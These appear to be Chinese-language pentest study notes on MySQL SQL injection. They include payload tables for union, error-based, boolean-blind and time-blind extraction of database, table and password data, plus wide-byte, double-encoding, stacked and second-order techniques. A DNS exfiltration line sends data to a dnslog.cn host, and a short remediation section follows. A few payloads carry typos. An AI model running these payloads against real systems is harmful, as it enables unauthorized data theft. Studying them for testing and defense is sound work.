端口:3306

一、SQL注入产生原因

1、不当的类型处理

2、不安全的数据库配置

3、不合理的查询集处理

4、不当的错误处理

5、转义字符处理不合适

6、多个提交处理不当

二、SQL注入关键条件

1、用户能控制输入的内容

2、Web应用能把用户输入的内容带入到数据库中执行

SQL注入分类

分类 说明
根据请求方式分类 (判断注入工具:Burpsuite等) GET方式请求注入 POST方式请求注入
根据注入点参数分类 (判断手法:’、”、\) 字符型注入 整数型注入 搜索型注入(%’and ‘%’=’ 闭合%)
根据SQL注入点反馈类型分类(重点) (判断注入payload) union类型 基于错误显示 布尔类型 基于时间 其他类型
根据Web应用的数据库类型分类 (判断注入语句) MySQL SQLServer Oracle Access

基于反馈类型分类注入流程

方式 选择条件
union联合查询 有显示位
报错注入 mysql_error调试未删除,控制报错信息
bool盲注 页面没显示位、不报错,只能通过页面是否正常来判断,通常为登录页面
时间延时盲注 页面没显示位、不报错,页面都显示正常,只能通过页面响应时间判断

万能密码

admin' or 1='1

语境

select * from name = 'admin' or 1='1' and pass='';

关键:

使用or进行逻辑判断,构造true语句,使得整个判断语句为true

三、手工注入流程

1、判断换是否有注入漏洞,识别注入点类型

2、获取数据库中的信息

获取数据库基本信息(数据库版本、数据库类型、查询列数等)

获取数据库库名

获取表名

获取列名

获取用户数据

3、破解加密数据(数据解密)

4、提升权限(配合其他漏洞)

5、内网渗透(配合其他漏洞)

四、详细过程

union联合查询

1、判断是否存在注入漏洞

(需要结合数据情景,判断可能使用的sql语句)

找与数据库交互的位置,判断动态参数,需要结合burpsuite抓包

1、参数后加 ' " \(全加),判断页面是否异常(\必出异常,不用做后续判断)

2、若出现异常,则依次尝试修改判断字符,使页面返回正常。返回正常则为字符型注入。

>>若均未返回正常页面,则尝试2-1(若原数据为1)判断是否为整数型注入。(正常则为整数型注入)

3、使用使页面报错的字符,后加#(url中需url编码为%23);若正常则只有该截断字符,不正常继续判断其他截断字符。

>>再加)#;正常则含有括号,不正常则进行嵌套判断。

4、以上均没有,则判断特殊注入。二次编码注入、宽字节注入、时间延时盲注等(这些类型注入,使用单双信号页面无变化)。

2、判断数据库列数

order by + 数字

报错则用二分法继续判断,直至正常。精确到正常的临界数字,即为列数。

' order by 5#

修改2为-2,使默认查询语句结果为空,隐去;这样union select结果即可显示。

然后使用union select联合查,寻找显示位:

id = -2 union select 1,2,3,4;

3、数据库信息查询

操作 语句
查库名 -1 union select 1,2,database()-- a 推荐
-1 union select 1,2,(select group_concat(0x7e,(schema_name),0x7e) from information_schema.schemata)– a
查表名 -1 union select 1,2,(select group_concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='数据库名')-- a
查列名 -1 union select 1,2,(select group_concat(0x7e,(column_name),0x7e) from information_schema.columns where table_schema='数据库名' and table_name='表名')-- a
查数据 -1 union select 1,2,(select concat(0x7e,(uname,0x7e,pwd),0x7e) from dede_cms.dede_tb)-- a

注意

1、union select查询列数要与前面列数相同

2、concat()拼接多列结果,group_concat()拼接多行结果。

SELECT * FROM db_bbs.tb_user UNION SELECT 1,(SELECT group_concat(table_name,'|')FROM information_schema.`TABLES` WHERE TABLES_schema='db_bbs';),3,4;

3、可将查询内容去掉引号,转成16进制形式(前面加上0x)

4、查表时,建议使用database(),既能避免转义,还可以确定当前有效数据库

SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()

数据库常用函数

函数 说明
version() 数据库版本号
database() 当前数据库
user() 当前用户
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@version_compile_os 操作系统版本
常用函数 说明
limit 限制查询数量,下标从0开始 limit 0,1 从0开始查两个
length() 计算数据长度
count() 计算数据行数
mid(str,1,30) 截取字符串,从1开始截取30位,紧跟要截取的部分,即数据库名、表名、字段名和数据名
substr(str,0,30) 0为截取初始位,包含整个查询语句
ascii() 转为ascii码

报错注入

1、相关函数

函数 语句
updatexml(arg1,arg2,arg3)
查询符合条件的数据 XPATH路径报错
and updatexml(1,concat(0x5e,(select user()),0x5e),1)
mysql5.1.5及以上版本,输出有32位长度限制 0x5e为^的16进制编码,用于绕过斜杠转义,下同
extractvalue(arg1,arg2)
同上,两个参数 XPATH路径报错
and extractvalue(1,concat(0x5e,(select user()),0x5e))
mysql5.1及以上版本,输出有32位长度限制
floor()
返回小于等于该值的最大整数(只返回整数部分) floor、count、group by函数冲突报错
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)
mysql5.0及以上版本,user()可变,其他固定
name_const(name,value)
产生一个结果集合列 列名重复报错
and select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a
mysql5.0及以下
exp() 以e为底的指数函数 整形溢出报错 and exp(~(select * from (select user()) a))
mysql5.5.5及以上版本
几何函数报错(不满足要求就会报错)
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
and multipoint((select * from (select * from (select * from (select version())a)b)c))

2、用法:

将对应user()等地方替换为要执行的sql语句即可

操作 语句
查数据库名 id=1' and updatexml(1,group_concat(0x7e,(select database()),0x7e),1)-- a 推荐

id=1' and updatexml(1,group_concat(0x7e,(select mid(group_concat(schema_name),1,30) from information_schema.schemata),0x7e),1)-- a
查表名 id=1' and updatexml(1,group_concat(0x7e,(select mid(group_concat(table_name),1,30) from information_schema.tables where table_schema='数据库'),0x7e),1)-- a
查列名 id=1' and updatexml(1,group_concat(0x7e,(select mid(group_concat(column_name),1,30) from information_schema.columns where table_schema='数据库名' and table_name='表名'),0x7e),1)-- a
查数据 id=1' and updatexml(1,group_concat(0x7e,(select mid(concat(username,0x7e,password),1,30) from '数据库名'.'表名'),0x7e),1)-- a

SQL盲注

布尔盲注

条件匹配时返回数据,不匹配时无显示。需要对数据进行猜解(用ascii码进行匹配)

1、用法:

ascii码二分法

说明 语句
先判断数据长度或个数 and length((select database())) > 64
然后进行二分法匹配 and ascii(mid((select database()),1,1)) >64

2、语句(省略二分法,直接用=号)

n均为前一句获取的长度值

操作 语句
获取数据库长度 and (length(database()))=8
注意:判断长度不需要转ascii码
获取数据库名 and ascii((select mid(database(),1,1)))=115 -- a
获取表长度 and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=30 -- a
获取表名 and ascii((select mid(group_conca(table_name),1,1) from information_schema.tables where table_schema=database()))=100 -- a
获取列长度 and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'))=30 -- a
获取列名 and ascii((select mid(group_concat(column_name),1,1) from information_schema.columns where table_schema=database() and table_name='表名'))=30 -- a
获取数据长度 and length((select group_concat(username) from database().'表名'))=30 -- a
获取数据 and ascii((select mid(concat(username,0x7e,password),1,1) from database().'表名'))=30 -- a

时间延时盲注

(单双引号页面无变化)

基于sql盲注,为升级版本

使用’”%判断时,页面无任何变化,尝试判断是否存在时间盲注

1、判断:

' " \

'and sleep(3) %23

' and sleep(3))%23

方法同判断截断字符

2、用法:

函数 语句
if select if(arg1,arg2,arg3)
arg1:判断条件
arg2:条件为真时执行的语句
arg3:条件为假时执行的语句
常用:
and select if((length(database())>5),sleep(5),1) –a
case when select case when arg1 then arg2 else arg3 end;
arg1:判断条件
arg2:条件为真时执行的语句
arg3:条件为假时执行的语句
常用:
and select case when ascci(mid(version(),1,1))>64 then sleep(3) end – a

3、语句如下(省略二分法,直接用=号)

操作 语句
获取数据库长度 and if((length(database()))=8),sleep(3),1)-- a
注意:判断长度不需要转ascii码
获取数据库名 and if((ascii((select mid(database(),1,1)))=115),sleep(3),1) -- a
获取表长度 and if((length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=30),sleep(3),1) -- a
获取表名 and if((ascii((select mid(group_concat(table_name),1,1) from information_schema.tables where table_schema=database()))=100),sleep(3),1) -- a
获取列长度 and if((length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'))=30),sleep(3),1) -- a
获取列名 and if((ascii((select mid(goup_concat(column_name),1,1) from information_schema.columns where table_schema=database() and table_name='表名'))=30),sleep(3),1) -- a
获取数据长度 and if((length((select group_concat(username) from database().'表名'))=30),sleep(3),1) -- a
获取字段名 and if((ascii((select mid(concat(username),1,1) from database().'表名'))=30),sleep(3),1) -- a

注: sleep可用benchmark代替

benchmark(arg1,arg2)

arg1为执行次数,arg2为执行语句

即执行多少次指定语句,返回执行事件,次数500万次起步,基于cpu质量,延时不稳定

benchmark(5000000,md5(123)) 执行500万次MD5加密

select if(判断语句,benchmark(5000000,md5(123)),1)

五、其他注入类型

1、请求头注入

类型 说明
User-Agent 浏览器版本
X-Forwarded-For 获取HTTP请求端的真实IP

使用Header Editor工具修改请求头,在上述两个值后添加单双引号,保持开启状态即可

注意,这里的sql语句大概率为insert,所以可用注入为:

报错注入和bool盲注

2、内联注入

留言板界面若是存在注入,可用补齐insert语句参数法,

找到留言板的显示位,在显示位上进行sql注入。

这里难点在于插入位数未知、插入类型限制未知,所以位数需要逐个尝试,内容留空。

使用

不用注释,用截断代替,然后使用多个and/or连接

注:前面为true用and;前面为false用or

1、'firefox' and '补齐

2、'firefox' and payload and '

3、宽字节注入

(单双引号页面无变化)

mysql语句执行时,现将数据转成16进制,再执行

GBK为两字节编码方式,编码范围为8140-FEFE(81为页数,40位行列)

ascii为单字节编码,编码范围为00-7F(斜杠的ascii码为5C)

当字节数小于81时,会被认为是ascii编码,将转码成ascii码形式;

当字节数在81-FE之间时,会被认为是gbk编码,会连同后一位一起以gbk形式编码。

形如abcd(ab为ascii转码的数据,cd为gbk转码的数据)

原本应解码成两个ascii数据(a、b)和一个gbk数据(cd)

但是若b的数据大于81,则会被认为是gbk编码的数据,会和c一起解码,

此时就解码成了两个ascii数据(a、d)和一个gbk编码数据(bc)

用法:

注意:通常出现在斜杠转义单双引号的网页

利用:构造?id=1%df’即可

%df可以为任何hex码在81-FE之间的数据

宽字节注入存在条件

PHP+Mysql+GBK

编码语句:

mysql_set_charset("gbk")

mysql_query("set names gbk")

转义语句:

addslashes('')

mysql_real_escape_string('')

上述四条语句组合中,除了

mysql_set_charset("gbk")+mysql_real_escape_string('')组合,其他组合均存在宽字节注入

4、二次编码注入

(单双引号页面无变化)

注!先转义再解码造成注入,应先解码再转义

正确流程 错误流程(二次编码注入)
php自动进行一次url解码 网站二次解码 转义单双引号进行防护 写入数据库 php自动解码 转义防护 网站二次解码 urldecode()、rawurldecode() 写入数据库

单引号二次url编码为:%2527

双引号二次url编码为:%2522

关键字二次编码:hex转码-前缀加%25(%的url编码)

5、堆叠注入

前提:存在sql注入

截断符后使用分号分割,后面注释,中间插入任意sql语句(多个语句用;分割)

堆叠注入存在场景

搭配 说明
mssql+asp/php/jsp 堆叠注入
mysql+php
mysql_connect()/mysql_query(“select $id”) 不能堆叠注入
mysqli_connect()/mysqli_query(“select $id”) 不能堆叠注入
mysqli_connect()/multi_query(“select $id”) 堆叠注入
new PDO()/bindvalue(“select ?”) execute($id) 不能注入
new PDO()/query(“select $id”) 堆叠注入

6、二阶注入

存储在数据库汇总的数据,在使用时发生的注入

在注册用户或者发表文章等写入数据库操作时,加入注入语句,被转义存入数据库

当使用该数据时,被取出,这时注入语句生效

注意:遇到限制是数字类型或者关键字拦截,可进行十六进制编码

7、其他:

文件上传时,可通过文件名进行sql注入

六、DNS外带

前提:

Windows服务器,secure_file_priv为空(非NULL)

语句:

select load_file(concat("\\\\",version(),".1ndex.dnslog.cn\\x"));

七、sql注入防护/修复

修复 说明
去掉单引号 现实场景常用单引号,去掉不合实际
转义单引号 对数字型无效(数字型不需要引号) 斜杠转义 addslashes()函数转义 php.ini配置文件转义(5.6以下版本开启magic_quotes_gpc = On)
强制类型转换 针对数字型 intval()
更改数据库连接方式 POD连接数据库将变量转换成字符串,再写入数据库,无法拼接

文件读写

读写 语句
读文件 load_file(‘’)
写文件 into outfile 多行写入,使用单引号,自动添加换行
into dumpfile 单行写入,不转义